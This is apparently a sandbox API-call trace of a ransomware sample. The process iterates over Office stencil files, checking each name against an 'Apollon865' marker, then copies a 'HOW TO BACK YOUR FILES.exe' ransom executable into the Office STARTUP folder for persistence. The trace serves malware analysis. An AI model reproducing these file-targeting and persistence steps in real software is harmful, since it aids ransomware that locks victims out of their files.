	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTITY_M.VSS" | out: lpString1="ENTITY_M.VSS") returned="ENTITY_M.VSS"
	[0066.459] lstrlenW (lpString="ENTITY_M.VSS") returned 12
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.459] lstrcmpiW (lpString1="TITY_M.VSS", lpString2="Apollon865") returned 1
	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ENTITY_U.VSS" | out: lpString1="ENTITY_U.VSS") returned="ENTITY_U.VSS"
	[0066.459] lstrlenW (lpString="ENTITY_U.VSS") returned 12
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.459] lstrcmpiW (lpString1="TITY_U.VSS", lpString2="Apollon865") returned 1
	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EPC_M.VSS" | out: lpString1="EPC_M.VSS") returned="EPC_M.VSS"
	[0066.459] lstrlenW (lpString="EPC_M.VSS") returned 9
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EPC_M.VST" | out: lpString1="EPC_M.VST") returned="EPC_M.VST"
	[0066.459] lstrlenW (lpString="EPC_M.VST") returned 9
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.459] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EPC_U.VSS" | out: lpString1="EPC_U.VSS") returned="EPC_U.VSS"
	[0066.459] lstrlenW (lpString="EPC_U.VSS") returned 9
	[0066.459] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EPC_U.VST" | out: lpString1="EPC_U.VST") returned="EPC_U.VST"
	[0066.460] lstrlenW (lpString="EPC_U.VST") returned 9
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EXCOBJ_M.VSS" | out: lpString1="EXCOBJ_M.VSS") returned="EXCOBJ_M.VSS"
	[0066.460] lstrlenW (lpString="EXCOBJ_M.VSS") returned 12
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcmpiW (lpString1="COBJ_M.VSS", lpString2="Apollon865") returned 1
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="EXCOBJ_U.VSS" | out: lpString1="EXCOBJ_U.VSS") returned="EXCOBJ_U.VSS"
	[0066.460] lstrlenW (lpString="EXCOBJ_U.VSS") returned 12
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcmpiW (lpString1="COBJ_U.VSS", lpString2="Apollon865") returned 1
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FASTN1_M.VSS" | out: lpString1="FASTN1_M.VSS") returned="FASTN1_M.VSS"
	[0066.460] lstrlenW (lpString="FASTN1_M.VSS") returned 12
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcmpiW (lpString1="STN1_M.VSS", lpString2="Apollon865") returned 1
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FASTN1_U.VSS" | out: lpString1="FASTN1_U.VSS") returned="FASTN1_U.VSS"
	[0066.460] lstrlenW (lpString="FASTN1_U.VSS") returned 12
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcmpiW (lpString1="STN1_U.VSS", lpString2="Apollon865") returned 1
	[0066.460] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FASTN2_M.VSS" | out: lpString1="FASTN2_M.VSS") returned="FASTN2_M.VSS"
	[0066.460] lstrlenW (lpString="FASTN2_M.VSS") returned 12
	[0066.460] lstrlenW (lpString="Apollon865") returned 10
	[0066.460] lstrcmpiW (lpString1="STN2_M.VSS", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FASTN2_U.VSS" | out: lpString1="FASTN2_U.VSS") returned="FASTN2_U.VSS"
	[0066.461] lstrlenW (lpString="FASTN2_U.VSS") returned 12
	[0066.461] lstrlenW (lpString="Apollon865") returned 10
	[0066.461] lstrcmpiW (lpString1="STN2_U.VSS", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FAULT_M.VSS" | out: lpString1="FAULT_M.VSS") returned="FAULT_M.VSS"
	[0066.461] lstrlenW (lpString="FAULT_M.VSS") returned 11
	[0066.461] lstrlenW (lpString="Apollon865") returned 10
	[0066.461] lstrcmpiW (lpString1="AULT_M.VSS", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FAULT_M.VST" | out: lpString1="FAULT_M.VST") returned="FAULT_M.VST"
	[0066.461] lstrlenW (lpString="FAULT_M.VST") returned 11
	[0066.461] lstrlenW (lpString="Apollon865") returned 10
	[0066.461] lstrcmpiW (lpString1="AULT_M.VST", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FAULT_U.VSS" | out: lpString1="FAULT_U.VSS") returned="FAULT_U.VSS"
	[0066.461] lstrlenW (lpString="FAULT_U.VSS") returned 11
	[0066.461] lstrlenW (lpString="Apollon865") returned 10
	[0066.461] lstrcmpiW (lpString1="AULT_U.VSS", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FAULT_U.VST" | out: lpString1="FAULT_U.VST") returned="FAULT_U.VST"
	[0066.461] lstrlenW (lpString="FAULT_U.VST") returned 11
	[0066.461] lstrlenW (lpString="Apollon865") returned 10
	[0066.461] lstrcmpiW (lpString1="AULT_U.VST", lpString2="Apollon865") returned 1
	[0066.461] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FLOSHP_M.VSS" | out: lpString1="FLOSHP_M.VSS") returned="FLOSHP_M.VSS"
	[0066.461] lstrlenW (lpString="FLOSHP_M.VSS") returned 12
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="OSHP_M.VSS", lpString2="Apollon865") returned 1
	[0066.462] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FLOSHP_U.VSS" | out: lpString1="FLOSHP_U.VSS") returned="FLOSHP_U.VSS"
	[0066.462] lstrlenW (lpString="FLOSHP_U.VSS") returned 12
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="OSHP_U.VSS", lpString2="Apollon865") returned 1
	[0066.462] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FLRPLN_M.VST" | out: lpString1="FLRPLN_M.VST") returned="FLRPLN_M.VST"
	[0066.462] lstrlenW (lpString="FLRPLN_M.VST") returned 12
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="RPLN_M.VST", lpString2="Apollon865") returned 1
	[0066.462] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FLRPLN_U.VST" | out: lpString1="FLRPLN_U.VST") returned="FLRPLN_U.VST"
	[0066.462] lstrlenW (lpString="FLRPLN_U.VST") returned 12
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="RPLN_U.VST", lpString2="Apollon865") returned 1
	[0066.462] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPALL_M.VST" | out: lpString1="FPALL_M.VST") returned="FPALL_M.VST"
	[0066.462] lstrlenW (lpString="FPALL_M.VST") returned 11
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="PALL_M.VST", lpString2="Apollon865") returned 1
	[0066.462] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPALL_U.VST" | out: lpString1="FPALL_U.VST") returned="FPALL_U.VST"
	[0066.462] lstrlenW (lpString="FPALL_U.VST") returned 11
	[0066.462] lstrlenW (lpString="Apollon865") returned 10
	[0066.462] lstrcmpiW (lpString1="PALL_U.VST", lpString2="Apollon865") returned 1
	[0066.463] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPASSM_M.VSS" | out: lpString1="FPASSM_M.VSS") returned="FPASSM_M.VSS"
	[0066.463] lstrlenW (lpString="FPASSM_M.VSS") returned 12
	[0066.463] lstrlenW (lpString="Apollon865") returned 10
	[0066.463] lstrcmpiW (lpString1="ASSM_M.VSS", lpString2="Apollon865") returned 1
	[0066.463] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPASSM_U.VSS" | out: lpString1="FPASSM_U.VSS") returned="FPASSM_U.VSS"
	[0066.463] lstrlenW (lpString="FPASSM_U.VSS") returned 12
	[0066.463] lstrlenW (lpString="Apollon865") returned 10
	[0066.463] lstrcmpiW (lpString1="ASSM_U.VSS", lpString2="Apollon865") returned 1
	[0066.463] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPEQP_M.VSS" | out: lpString1="FPEQP_M.VSS") returned="FPEQP_M.VSS"
	[0066.463] lstrlenW (lpString="FPEQP_M.VSS") returned 11
	[0066.463] lstrlenW (lpString="Apollon865") returned 10
	[0066.463] lstrcmpiW (lpString1="PEQP_M.VSS", lpString2="Apollon865") returned 1
	[0066.463] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPEQP_U.VSS" | out: lpString1="FPEQP_U.VSS") returned="FPEQP_U.VSS"
	[0066.463] lstrlenW (lpString="FPEQP_U.VSS") returned 11
	[0066.463] lstrlenW (lpString="Apollon865") returned 10
	[0066.463] lstrcmpiW (lpString1="PEQP_U.VSS", lpString2="Apollon865") returned 1
	[0066.463] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPVALV_M.VSS" | out: lpString1="FPVALV_M.VSS") returned="FPVALV_M.VSS"
	[0066.463] lstrlenW (lpString="FPVALV_M.VSS") returned 12
	[0066.463] lstrlenW (lpString="Apollon865") returned 10
	[0066.463] lstrcmpiW (lpString1="VALV_M.VSS", lpString2="Apollon865") returned 1
	[0066.465] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FPVALV_U.VSS" | out: lpString1="FPVALV_U.VSS") returned="FPVALV_U.VSS"
	[0066.465] lstrlenW (lpString="FPVALV_U.VSS") returned 12
	[0066.465] lstrlenW (lpString="Apollon865") returned 10
	[0066.465] lstrcmpiW (lpString1="VALV_U.VSS", lpString2="Apollon865") returned 1
	[0066.465] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FREEQP_M.VSS" | out: lpString1="FREEQP_M.VSS") returned="FREEQP_M.VSS"
	[0066.465] lstrlenW (lpString="FREEQP_M.VSS") returned 12
	[0066.465] lstrlenW (lpString="Apollon865") returned 10
	[0066.465] lstrcmpiW (lpString1="EEQP_M.VSS", lpString2="Apollon865") returned 1
	[0066.465] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FREEQP_U.VSS" | out: lpString1="FREEQP_U.VSS") returned="FREEQP_U.VSS"
	[0066.465] lstrlenW (lpString="FREEQP_U.VSS") returned 12
	[0066.465] lstrlenW (lpString="Apollon865") returned 10
	[0066.465] lstrcmpiW (lpString1="EEQP_U.VSS", lpString2="Apollon865") returned 1
	[0066.465] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FURN_M.VSS" | out: lpString1="FURN_M.VSS") returned="FURN_M.VSS"
	[0066.465] lstrlenW (lpString="FURN_M.VSS") returned 10
	[0066.465] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="FURN_U.VSS" | out: lpString1="FURN_U.VSS") returned="FURN_U.VSS"
	[0066.466] lstrlenW (lpString="FURN_U.VSS") returned 10
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANESA_M.VSS" | out: lpString1="GANESA_M.VSS") returned="GANESA_M.VSS"
	[0066.466] lstrlenW (lpString="GANESA_M.VSS") returned 12
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcmpiW (lpString1="NESA_M.VSS", lpString2="Apollon865") returned 1
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANESA_U.VSS" | out: lpString1="GANESA_U.VSS") returned="GANESA_U.VSS"
	[0066.466] lstrlenW (lpString="GANESA_U.VSS") returned 12
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcmpiW (lpString1="NESA_U.VSS", lpString2="Apollon865") returned 1
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANTT_M.VSS" | out: lpString1="GANTT_M.VSS") returned="GANTT_M.VSS"
	[0066.466] lstrlenW (lpString="GANTT_M.VSS") returned 11
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcmpiW (lpString1="ANTT_M.VSS", lpString2="Apollon865") returned -1
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANTT_M.VST" | out: lpString1="GANTT_M.VST") returned="GANTT_M.VST"
	[0066.466] lstrlenW (lpString="GANTT_M.VST") returned 11
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.466] lstrcmpiW (lpString1="ANTT_M.VST", lpString2="Apollon865") returned -1
	[0066.466] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANTT_U.VSS" | out: lpString1="GANTT_U.VSS") returned="GANTT_U.VSS"
	[0066.466] lstrlenW (lpString="GANTT_U.VSS") returned 11
	[0066.466] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcmpiW (lpString1="ANTT_U.VSS", lpString2="Apollon865") returned -1
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GANTT_U.VST" | out: lpString1="GANTT_U.VST") returned="GANTT_U.VST"
	[0066.467] lstrlenW (lpString="GANTT_U.VST") returned 11
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcmpiW (lpString1="ANTT_U.VST", lpString2="Apollon865") returned -1
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GARDEN_M.VSS" | out: lpString1="GARDEN_M.VSS") returned="GARDEN_M.VSS"
	[0066.467] lstrlenW (lpString="GARDEN_M.VSS") returned 12
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcmpiW (lpString1="RDEN_M.VSS", lpString2="Apollon865") returned 1
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GARDEN_U.VSS" | out: lpString1="GARDEN_U.VSS") returned="GARDEN_U.VSS"
	[0066.467] lstrlenW (lpString="GARDEN_U.VSS") returned 12
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcmpiW (lpString1="RDEN_U.VSS", lpString2="Apollon865") returned 1
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GDT_M.VSS" | out: lpString1="GDT_M.VSS") returned="GDT_M.VSS"
	[0066.467] lstrlenW (lpString="GDT_M.VSS") returned 9
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="GDT_U.VSS" | out: lpString1="GDT_U.VSS") returned="GDT_U.VSS"
	[0066.467] lstrlenW (lpString="GDT_U.VSS") returned 9
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.467] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HOMPLN_M.VST" | out: lpString1="HOMPLN_M.VST") returned="HOMPLN_M.VST"
	[0066.467] lstrlenW (lpString="HOMPLN_M.VST") returned 12
	[0066.467] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="MPLN_M.VST", lpString2="Apollon865") returned 1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HOMPLN_U.VST" | out: lpString1="HOMPLN_U.VST") returned="HOMPLN_U.VST"
	[0066.468] lstrlenW (lpString="HOMPLN_U.VST") returned 12
	[0066.468] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="MPLN_U.VST", lpString2="Apollon865") returned 1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACCE_M.VSS" | out: lpString1="HVACCE_M.VSS") returned="HVACCE_M.VSS"
	[0066.468] lstrlenW (lpString="HVACCE_M.VSS") returned 12
	[0066.468] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="ACCE_M.VSS", lpString2="Apollon865") returned -1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACCE_U.VSS" | out: lpString1="HVACCE_U.VSS") returned="HVACCE_U.VSS"
	[0066.468] lstrlenW (lpString="HVACCE_U.VSS") returned 12
	[0066.468] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="ACCE_U.VSS", lpString2="Apollon865") returned -1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACC_M.VSS" | out: lpString1="HVACC_M.VSS") returned="HVACC_M.VSS"
	[0066.468] lstrlenW (lpString="HVACC_M.VSS") returned 11
	[0066.468] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="VACC_M.VSS", lpString2="Apollon865") returned 1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACC_U.VSS" | out: lpString1="HVACC_U.VSS") returned="HVACC_U.VSS"
	[0066.468] lstrlenW (lpString="HVACC_U.VSS") returned 11
	[0066.468] lstrlenW (lpString="Apollon865") returned 10
	[0066.468] lstrcmpiW (lpString1="VACC_U.VSS", lpString2="Apollon865") returned 1
	[0066.468] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACD_M.VSS" | out: lpString1="HVACD_M.VSS") returned="HVACD_M.VSS"
	[0066.469] lstrlenW (lpString="HVACD_M.VSS") returned 11
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.469] lstrcmpiW (lpString1="VACD_M.VSS", lpString2="Apollon865") returned 1
	[0066.469] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACD_U.VSS" | out: lpString1="HVACD_U.VSS") returned="HVACD_U.VSS"
	[0066.469] lstrlenW (lpString="HVACD_U.VSS") returned 11
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.469] lstrcmpiW (lpString1="VACD_U.VSS", lpString2="Apollon865") returned 1
	[0066.469] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACEQ_M.VSS" | out: lpString1="HVACEQ_M.VSS") returned="HVACEQ_M.VSS"
	[0066.469] lstrlenW (lpString="HVACEQ_M.VSS") returned 12
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.469] lstrcmpiW (lpString1="ACEQ_M.VSS", lpString2="Apollon865") returned -1
	[0066.469] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVACEQ_U.VSS" | out: lpString1="HVACEQ_U.VSS") returned="HVACEQ_U.VSS"
	[0066.469] lstrlenW (lpString="HVACEQ_U.VSS") returned 12
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.469] lstrcmpiW (lpString1="ACEQ_U.VSS", lpString2="Apollon865") returned -1
	[0066.469] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVAC_M.VST" | out: lpString1="HVAC_M.VST") returned="HVAC_M.VST"
	[0066.469] lstrlenW (lpString="HVAC_M.VST") returned 10
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.469] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="HVAC_U.VST" | out: lpString1="HVAC_U.VST") returned="HVAC_U.VST"
	[0066.469] lstrlenW (lpString="HVAC_U.VST") returned 10
	[0066.469] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IDEF0_M.VSS" | out: lpString1="IDEF0_M.VSS") returned="IDEF0_M.VSS"
	[0066.470] lstrlenW (lpString="IDEF0_M.VSS") returned 11
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="DEF0_M.VSS", lpString2="Apollon865") returned 1
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IDEF0_M.VST" | out: lpString1="IDEF0_M.VST") returned="IDEF0_M.VST"
	[0066.470] lstrlenW (lpString="IDEF0_M.VST") returned 11
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="DEF0_M.VST", lpString2="Apollon865") returned 1
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IDEF0_U.VSS" | out: lpString1="IDEF0_U.VSS") returned="IDEF0_U.VSS"
	[0066.470] lstrlenW (lpString="IDEF0_U.VSS") returned 11
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="DEF0_U.VSS", lpString2="Apollon865") returned 1
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IDEF0_U.VST" | out: lpString1="IDEF0_U.VST") returned="IDEF0_U.VST"
	[0066.470] lstrlenW (lpString="IDEF0_U.VST") returned 11
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="DEF0_U.VST", lpString2="Apollon865") returned 1
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="INTANN_M.VSS" | out: lpString1="INTANN_M.VSS") returned="INTANN_M.VSS"
	[0066.470] lstrlenW (lpString="INTANN_M.VSS") returned 12
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="TANN_M.VSS", lpString2="Apollon865") returned 1
	[0066.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="INTANN_U.VSS" | out: lpString1="INTANN_U.VSS") returned="INTANN_U.VSS"
	[0066.470] lstrlenW (lpString="INTANN_U.VSS") returned 12
	[0066.470] lstrlenW (lpString="Apollon865") returned 10
	[0066.470] lstrcmpiW (lpString1="TANN_U.VSS", lpString2="Apollon865") returned 1
	[0066.472] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IRRIG_M.VSS" | out: lpString1="IRRIG_M.VSS") returned="IRRIG_M.VSS"
	[0066.473] lstrlenW (lpString="IRRIG_M.VSS") returned 11
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcmpiW (lpString1="RRIG_M.VSS", lpString2="Apollon865") returned 1
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="IRRIG_U.VSS" | out: lpString1="IRRIG_U.VSS") returned="IRRIG_U.VSS"
	[0066.473] lstrlenW (lpString="IRRIG_U.VSS") returned 11
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcmpiW (lpString1="RRIG_U.VSS", lpString2="Apollon865") returned 1
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ITIL_M.VSS" | out: lpString1="ITIL_M.VSS") returned="ITIL_M.VSS"
	[0066.473] lstrlenW (lpString="ITIL_M.VSS") returned 10
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ITIL_M.VST" | out: lpString1="ITIL_M.VST") returned="ITIL_M.VST"
	[0066.473] lstrlenW (lpString="ITIL_M.VST") returned 10
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ITIL_U.VSS" | out: lpString1="ITIL_U.VSS") returned="ITIL_U.VSS"
	[0066.473] lstrlenW (lpString="ITIL_U.VSS") returned 10
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="ITIL_U.VST" | out: lpString1="ITIL_U.VST") returned="ITIL_U.VST"
	[0066.473] lstrlenW (lpString="ITIL_U.VST") returned 10
	[0066.473] lstrlenW (lpString="Apollon865") returned 10
	[0066.473] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LANGLV_M.VSS" | out: lpString1="LANGLV_M.VSS") returned="LANGLV_M.VSS"
	[0066.473] lstrlenW (lpString="LANGLV_M.VSS") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="NGLV_M.VSS", lpString2="Apollon865") returned 1
	[0066.474] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LANGLV_U.VSS" | out: lpString1="LANGLV_U.VSS") returned="LANGLV_U.VSS"
	[0066.474] lstrlenW (lpString="LANGLV_U.VSS") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="NGLV_U.VSS", lpString2="Apollon865") returned 1
	[0066.474] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LDAPDR_M.VST" | out: lpString1="LDAPDR_M.VST") returned="LDAPDR_M.VST"
	[0066.474] lstrlenW (lpString="LDAPDR_M.VST") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="APDR_M.VST", lpString2="Apollon865") returned -1
	[0066.474] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LDAPDR_U.VST" | out: lpString1="LDAPDR_U.VST") returned="LDAPDR_U.VST"
	[0066.474] lstrlenW (lpString="LDAPDR_U.VST") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="APDR_U.VST", lpString2="Apollon865") returned -1
	[0066.474] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LDAPOB_M.VSS" | out: lpString1="LDAPOB_M.VSS") returned="LDAPOB_M.VSS"
	[0066.474] lstrlenW (lpString="LDAPOB_M.VSS") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="APOB_M.VSS", lpString2="Apollon865") returned -1
	[0066.474] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LDAPOB_U.VSS" | out: lpString1="LDAPOB_U.VSS") returned="LDAPOB_U.VSS"
	[0066.474] lstrlenW (lpString="LDAPOB_U.VSS") returned 12
	[0066.474] lstrlenW (lpString="Apollon865") returned 10
	[0066.474] lstrcmpiW (lpString1="APOB_U.VSS", lpString2="Apollon865") returned -1
	[0066.537] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP"
	[0066.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe38 | out: hHeap=0x580000) returned 1
	[0066.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0066.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned 50
	[0066.537] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP"
	[0066.537] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.540] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbc3c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.541] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.541] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.541] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0066.541] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fbc3c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3fbc3c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.541] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.541] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
